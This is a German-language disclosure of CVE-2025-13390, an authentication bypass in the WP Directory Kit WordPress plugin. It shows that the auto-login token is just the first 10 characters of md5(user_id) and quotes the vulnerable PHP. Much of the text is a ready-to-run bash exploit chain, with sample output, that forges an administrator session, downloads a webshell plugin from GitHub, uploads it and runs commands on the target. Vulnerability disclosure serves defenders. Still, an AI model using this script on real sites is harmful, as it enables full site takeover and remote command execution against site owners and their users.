
WP Directory Kit <= 1.4.4 - Authentifizierungsumgehung zur Rechteausweitung durch Kontenübernahme
Das WP Directory Kit-Plugin für WordPress in Version 1.4.4 und niedriger enthält einen Authentifizierungs-Bypass in seiner Auto-Login-Funktionalität. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, administrativen Zugriff auf WordPress-Websites zu erlangen, indem sie einen kryptografisch fehlerhaften Token-Generierungsmechanismus ausnutzen. Die Auto-Login-Funktion kann nicht deaktiviert werden und verwendet einen vorhersehbaren Token, der ausschließlich aus dem MD5-Hash der Benutzer-ID abgeleitet wird.
Die Datei CVE-2025-13390.sh lädt ein Web-Shell-Plugin auf eine Zielwebsite hoch, unter der Annahme, dass die Benutzer-ID 1 ein Administrator ist.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
Das WP Directory Kit-Plugin implementiert eine Auto-Login-Funktion, die es Benutzern ermöglicht, sich ohne Eingabe von Anmeldedaten zu authentifizieren, indem sie eine URL mit einem user_id- und token-Parameter besuchen. Diese Funktion ist für passwortlose Anmeldeszenarien gedacht, z. B. wenn neue Benutzer automatisch erstellt und ihnen Anmelde-Links per E-Mail gesendet werden.
Die Schwachstelle existiert in der Token-Generierungs- und Validierungslogik, die sich in zwei Dateien befindet:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
Die Token-Generierung enthält einen kritischen kryptografischen Fehler. Der Code versucht, einen Token zu erstellen, indem er:
md5($user_id) berechnet – was eine 32-stellige hexadezimale Zeichenfolge erzeugtNONCE_KEY (eine WordPress-Konstante, typischerweise 64 Zeichen) verkettet'wpdirectorykit' verkettetsubstr(..., 0, 10) nimmtDa md5($user_id) 32 Zeichen lang ist und die Funktion nur die ersten 10 Zeichen verwendet, wird der Token einfach zu den ersten 10 Zeichen des MD5-Hashes.
substr(md5($user_id), 0, 10)
Zum Beispiel für user_id = 1:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 Hex-Zeichen)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (nur die ersten 10 Zeichen des MD5)Die NONCE_KEY-Konstante, die kryptografische Sicherheit bieten soll, ist völlig irrelevant, da sie nach den ersten 10 Zeichen des MD5-Hashes erscheint.
Hinweis: In WordPress-Installationen ist der zuerst erstellte Benutzer (mit user_id = 1) fast immer ein Administrator. Andere administrative Benutzer-IDs könnten bei Bedarf enumeriert und stattdessen verwendet werden.
Die Auto-Login-Funktionalität ist fest in die Datei actions.php des Plugins codiert und ist immer aktiv, solange das Plugin aktiviert ist. Es gibt keine Konfigurationsoption oder Einstellung, um diese Funktion zu deaktivieren. Die Auto-Login-Links werden in E-Mail-Vorlagen generiert und gesendet (siehe application/views/email/new_user_auto_created.php:55), aber der Endpunkt selbst ist unabhängig von den E-Mail-Einstellungen immer zugänglich.
Wenn ein Angreifer eine Anfrage an den Auto-Login-Endpunkt mit einem gültigen Token sendet (z. B. /?auto-login=1&user_id=1&token=c4ca4238a0), ruft der anfällige Code in actions.php:123 die WordPress-Funktion wp_set_auth_cookie() auf. Diese Funktion stellt eine authentifizierte Sitzung her, indem sie WordPress-Authentifizierungs-Cookies in der HTTP-Antwort setzt. Diese Cookies umfassen:
wordpress_logged_in_[hash] - Enthält die Benutzer-ID und Authentifizierungsinformationenwordpress_[hash] - Enthält das Authentifizierungs-Cookie für den Admin-BereichSobald diese Cookies gesetzt sind, wird der Browser (oder das Skript) des Angreifers als authentifizierte Sitzung für den angegebenen Benutzer behandelt.
Mit diesen administrativen Cookies kann der Angreifer bösartige Plugins installieren, administrative Benutzer erstellen, was zu einer vollständigen Kompromittierung der Website führt.
Das folgende Skript demonstriert eine vollständige Angriffskette, die die Auto-Login-Schwachstelle ausnutzt, um administrativen Zugriff zu erlangen und eine Webshell zu installieren:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"